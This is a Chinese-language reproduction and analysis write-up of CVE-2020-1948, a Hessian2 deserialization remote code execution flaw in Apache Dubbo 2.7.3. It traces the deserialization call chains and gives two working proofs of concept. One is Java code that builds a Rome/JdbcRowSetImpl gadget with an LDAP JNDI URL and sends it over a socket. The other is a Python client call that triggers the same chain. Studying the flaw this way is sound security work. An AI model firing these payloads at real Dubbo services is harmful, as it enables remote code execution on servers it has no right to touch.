漏洞复现
Version:2.7.3 (dubbo-spring-boot-samples)
JDK:1.8.66
利用公开的Poc进行复现
无法命令执行的原因
*原因1 缺少 Rome依赖,在pom.xml中添加以下依赖
<dependency> <groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.7.0</version> </dependency>
*原因2 JDK版本问题,com.sun.rowset.JdbcRowSetImpl在JDK 6u132, 7u122, or 8u113及之后的版本被修复了,可以换低版本jdk尝试
漏洞分析
dubbo rpc 原理
dubbo rpc默认使用org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize
进行反序列化
dubbo rpc 反序列化调用链
断点调试
在报错处org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker、org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode 、org.apache.dubbo.remoting.RemotingException处设置断点调试
Hessian2Serialization
dubbo rpc默认使用org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize
进行反序列化
dubbo rpc的反序列化调用链
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec#decodeInvocationArgument org.apache.dubbo.rpc.RpcInvocation.toString org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream) org.apache.dubbo.common.serialize.Serialization org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject(java.lang.Class, java.lang.Class<?>...) com.alibaba.com.caucho.hessian.io.SerializerFactory#getObjectDeserializer(java.lang.String, java.lang.Class) com.alibaba.com.caucho.hessian.io.Deserializer com.alibaba.com.caucho.hessian.io.ClassDeserializer#readObject com.alibaba.com.caucho.hessian.io.JavaDeserializer com.alibaba.com.caucho.hessian.io.JavaDeserializer.FieldDeserializer#deserialize
关键部分分析
1. Hessian2Input#readObject
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject
@Override public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException { if (expectedClass == null || expectedClass == Object.class) return readObject(); int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read(); switch (tag) { case 'N': return null; case 'H': { Deserializer reader = findSerializerFactory().getDeserializer(expectedClass); boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2; // fix deserialize of short type return reader.readMap(this , keyValuePair ? expectedTypes[0] : null , keyValuePair ? expectedTypes[1] : null); } case 'M': { String type = readType(); // hessian/3bb3 if ("".equals(type)) { Deserializer reader; reader = findSerializerFactory().getDeserializer(expectedClass); return reader.readMap(this); } else { Deserializer reader; reader = findSerializerFactory().getObjectDeserializer(type, expectedClass); return reader.readMap(this); } } case 'C': { readObjectDefinition(expectedClass); return readObject(expectedClass); } case 0x60: case 0x61: case 0x62: case 0x63: case 0x64: case 0x65: case 0x66: case 0x67: case 0x68: case 0x69: case 0x6a: case 0x6b: case 0x6c: case 0x6d: case 0x6e: case 0x6f: { int ref = tag - 0x60; int size = _classDefs.size(); if (ref < 0 || size <= ref) throw new HessianProtocolException("'" + ref + "' is an unknown class definition"); ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref); return readObjectInstance(expectedClass, def); }
通过代码发现readObject是根据特定的tag进行相应的数据处理,其中C为类定义,H为键值对,readObjectDefinition 会先对方法传入参数对应的class,进行类定义的读取,然后通过readObjectInstance对expectedClass的判断条件进行实例化
readObjectDefinition
readObjectInstance
2. RemotingException 利用
Rui0的一篇关于toString利用的文章中有提到利用Exception抛出异常输出时隐式调用了Rome的toString方法导致RCE通过分析dubbo,发现如果程序运行异常也会通过org.apache.dubbo.remoting.RemotingException
抛错并在控制台输出
就可以先通过com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectInstance
对com.rometools.rome.feed.impl.ToStringBean
和com.sun.rowset.JdbcRowSetImpl
进行实例化,在通过Rome的toString方法调用JdbcRowSetImpl
在org.apache.dubbo.remoting.RemotingException
抛错输出时进行JNDI注入
RemotingException异常调用链
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectInstance` com.alibaba.com.caucho.hessian.io.AbstractHessianInput#readObject com.alibaba.com.caucho.hessian.io.JavaDeserializer#readObject com.alibaba.com.caucho.hessian.io.Deserializer#readObject com.alibaba.com.caucho.hessian.io.JavaDeserializer.ObjectFieldDeserializer#deserialize com.alibaba.com.caucho.hessian.io.JavaDeserializer.FieldDeserializer#deserialize com.alibaba.com.caucho.hessian.io.JavaDeserializer#logDeserializeError org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream) org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec#decodeInvocationArgument org.apache.dubbo.remoting.RemotingException org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker org.apache.dubbo.rpc.RpcInvocation#setArguments org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode() org.apache.dubbo.remoting.exchange.Request#setData org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decodeBody org.apache.dubbo.remoting.transport.DecodeHandler#received org.apache.dubbo.remoting.ChannelHandler#received org.apache.dubbo.remoting.transport.dispatcher.ChannelEventRunnable#run
3. hessian2反序列化限制条件绕过
hessian2通过com.alibaba.com.caucho.hessian.io.JavaDeserializer
类来进行反序列化操作
但是构造方法只有基本类型,没有任何的方法和属性那就只能利用com.alibaba.com.caucho.hessian.io.JavaDeserializer#readObject(AbstractHessianInput in, String[] fieldNames)来进行反射
利用com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject的H
tag通过HashMap触发key的hashCode方法实现反序列化com.alibaba.com.caucho.hessian.io.MapDeserializer#doReadMap
HashMap调用链
java.util.HashMap#hash java.lang.Object#hashCode java.util.HashMap#put com.alibaba.com.caucho.hessian.io.MapDeserializer#doReadMap com.alibaba.com.caucho.hessian.io.MapDeserializer#readMap com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readObject org.apache.dubbo.rpc.protocol.dubbo.DubboCodec.decodeBody com.alibaba.com.caucho.hessian.io.SerializerFactory#getDeserializer com.alibaba.com.caucho.hessian.io.AbstractDeserializer#findSerializerFactory org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode
构造Poc
通过以上分析,有2种反序列化RCE触发方法
1. 在刚传入序列化值时依赖Rome的toString方法通过构造HashMap触发key的hashCode实现反序列化 2. 反序列化执行完成后,利用RemotingException抛出异常输出时隐式调用了Rome的toString方法导致RCE
Poc1:利用HashMap触发key的hashCode实现反序列化
Code
public class CVE_2020_1948_RomePoc { public static void main(String[] args) throws Exception { JdbcRowSetImpl rs = new JdbcRowSetImpl(); //todo 此处填写ldap url rs.setDataSourceName("ldap://127.0.0.1:8078/Calc"); rs.setMatchColumn("foo"); Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs); EqualsBean root = new EqualsBean(ToStringBean.class, item); HashMap s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null)); Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null)); Reflections.setFieldValue(s, "table", tbl); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // header. byte[] header = new byte[16]; // set magic number. Bytes.short2bytes((short) 0xdabb, header); // set request and serialization flag. header[2] = (byte) ((byte) 0x80 | 0x20 | 2); // set request id. Bytes.long2bytes(new Random().nextInt(100000000), header, 4); ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream); NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true); out.setSerializerFactory(sf); out.writeObject(s); out.flushBuffer(); if (out instanceof Cleanable) { ((Cleanable) out).cleanup(); } Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12); byteArrayOutputStream.write(header); byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); byte[] bytes = byteArrayOutputStream.toByteArray(); //todo 此处填写被攻击的dubbo服务提供者地址和端口 Socket socket = new Socket("192.168.80.1", 12345); OutputStream outputStream = socket.getOutputStream(); outputStream.write(bytes); outputStream.flush(); outputStream.close(); } }
执行
Poc2:利用RemotingException抛出异常输出时隐式调用Rome的toString方法RCE
Code
client = DubboClient('192.168.80.1', 12345) JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource="ldap://192.168.80.1:8078/Calc",strMatchColumns=["foo"]) JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",) toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl) resp = client.send_request_and_return_response(service_name='cn.rui0',method_name='rce',args=[toStringBean])
执行
两个Poc触发RCE时报错对比
参考
*https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html
*http://rui0.cn/archives/1338
*https://threedr3am.github.io/2020/02/14/dubbo源码浅析-默认dubbo协议反序列化利用之hessian2/